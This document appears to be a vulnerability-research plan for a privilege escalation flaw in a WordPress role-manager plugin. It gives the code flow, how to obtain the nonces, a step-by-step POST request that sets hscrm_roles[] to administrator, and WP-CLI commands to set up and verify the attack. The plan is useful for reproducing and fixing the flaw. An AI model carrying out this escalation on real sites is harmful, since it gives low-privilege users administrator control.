Research Plan: Privilege Escalation in Highland Software Custom Role Manager

Vulnerability Summary

The Highland Software Custom Role Manager plugin (<= 1.0.0) contains a privilege escalation vulnerability in includes/user-ui.php. The function hscrm_save_user_roles() is hooked to personal_options_update, which executes when any user updates their own profile.

The function performs an insufficient authorization check by verifying current_user_can('edit_user', $user_id). In WordPress, all users (including Subscribers) have the edit_user capability for their own User ID. Because the function fails to check for a more restrictive capability (like promote_users), it allows any authenticated user to supply an array of roles via the hscrm_roles[] parameter, which are then assigned to their account, enabling a Subscriber to promote themselves to Administrator.

Attack Vector Analysis

• Endpoint: /wp-admin/profile.php
• Hook: personal_options_update
• Required Authentication: Subscriber or higher.
• Vulnerable Parameter: hscrm_roles[]
• Security Control Bypassed: Lack of promote_users or manage_options check in the save logic.

Code Flow

1. Entry Point: User submits the profile update form at /wp-admin/profile.php.
2. Hook Trigger: WordPress triggers personal_options_update (for self-updates) or edit_user_profile_update (for admin-updates).
3. Function Call: hscrm_save_user_roles($user_id) is executed (includes/user-ui.php).
4. Auth Check (Weak): if (!current_user_can('edit_user', $user_id)) passes because a Subscriber can edit their own profile.
5. Nonce Check: wp_verify_nonce(...) validates $_POST['hscrm_roles_nonce'] against the action hscrm_save_user_roles.
6. Input Processing: $_POST['hscrm_roles'] is sanitized using sanitize_key but is not validated against the current user's authority to assign those roles.
7. Sink: The code (truncated in snippet, but inferred) updates the user's roles using $user->add_role() or $user->set_role() based on the provided list, which includes administrator.

Nonce Acquisition Strategy

The hscrm_roles_nonce is required for the exploit. This nonce is unique to the authenticated user and can be found in the HTML of the user's own profile page.

1. Log in as a Subscriber user.
2. Navigate to /wp-admin/profile.php.
3. Locate the hidden input field:
   <input type="hidden" id="hscrm_roles_nonce" name="hscrm_roles_nonce" value="[NONCE_VALUE]">
4. Also locate the standard WordPress profile nonce _wpnonce (action update-user_{ID}) required to successfully submit the profile form.

Exploitation Strategy

1. Preparation: Use a Subscriber account.
2. Information Gathering:
   • Fetch /wp-admin/profile.php and extract:
     • hscrm_roles_nonce
     • _wpnonce
     • The current user's user_id (usually found in the form action or a hidden input).
3. Execution: Send a POST request to /wp-admin/profile.php.
   • Action: update
   • Parameters:
     • _wpnonce: extracted standard WP nonce.
     • hscrm_roles_nonce: extracted plugin nonce.
     • from: profile
     • checkuser_id: [your_user_id]
     • user_id: [your_user_id]
     • nickname: attacker (or any string)
     • email: attacker@example.com
     • hscrm_roles[]: administrator
4. Verification: Check the response for a redirect back to profile.php?updated=1.

Test Data Setup

1. Install Plugin: Ensure highland-software-custom-role-manager version 1.0.0 is active.
2. Create Attacker User:

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password
   

3. Identify ID:

   wp user get attacker --field=ID
   

Expected Results

A successful exploit will result in the attacker user being assigned the administrator role. The plugin's logic for multiple roles may also store these in the hscrm_custom_roles user meta, but the immediate WordPress roles array should reflect the promotion.

Verification Steps

After the HTTP request, verify the promotion using WP-CLI:

# Check standard WordPress roles
wp user get attacker --field=roles

# Check plugin-specific custom meta
wp user meta get attacker hscrm_custom_roles

Alternative Approaches

If direct promotion to administrator is blocked by internal WP filters (unlikely in this context), try promoting to a custom role created by the plugin that has high privileges (if any exist).

1. Check for custom roles: wp role list --fields=role,capabilities
2. If an admin-equivalent custom role exists (e.g., custom_manager), use hscrm_roles[]=custom_manager instead.